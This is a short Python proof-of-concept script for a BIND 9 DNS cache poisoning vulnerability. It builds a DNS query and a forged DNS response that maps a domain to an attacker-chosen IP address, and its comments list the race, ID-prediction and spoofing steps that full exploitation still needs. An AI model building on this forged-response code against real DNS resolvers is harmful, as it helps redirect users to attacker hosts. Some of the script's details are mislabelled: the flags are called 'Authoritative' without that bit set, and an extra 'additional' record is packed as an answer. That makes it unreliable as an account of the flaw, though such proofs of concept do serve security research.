# CVE-2025-40778 BIND 9 Cache Poisoning PoC
# This PoC demonstrates the cache poisoning attack concept
import socket
import struct
import random
def build_dns_query(domain):
"""Build a DNS query packet"""
transaction_id = random.randint(0, 65535)
flags = 0x0100 # Standard query
questions = 1
query = struct.pack('>HHHHHH', transaction_id, flags, questions, 0, 0, 0)
for label in domain.split('.'):
query += struct.pack('B', len(label)) + label.encode()
query += b'\x00' # End of domain name
query += struct.pack('>HH', 1, 1) # Type A, Class IN
return query
def build_poisoned_response(transaction_id, domain, malicious_ip):
"""Build a malicious DNS response with forged records"""
flags = 0x8180 # Response, Authoritative
questions = 1
answers = 2 # Include additional forged records
# DNS header
response = struct.pack('>HHHHHH', transaction_id, flags, questions, answers, 0, 0)
# Question section
for label in domain.split('.'):
response += struct.pack('B', len(label)) + label.encode()
response += b'\x00'
response += struct.pack('>HH', 1, 1)
# Answer section with forged records
response += b'\xc0\x0c' # Pointer to domain name
response += struct.pack('>HHIH', 1, 1, 300, 4) # Type A, Class IN, TTL, RDLENGTH
response += socket.inet_aton(malicious_ip)
# Additional section with extra forged records (the leniency issue)
response += b'\xc0\x0c'
response += struct.pack('>HHIH', 1, 1, 300, 4)
response += socket.inet_aton(malicious_ip)
return response
# Note: Actual exploitation requires:
# 1. Prediction of transaction ID
# 2. Timing attack to win the race condition
# 3. Network position to intercept or spoof DNS queries
# 4. exploitation of BIND's lenient record acceptance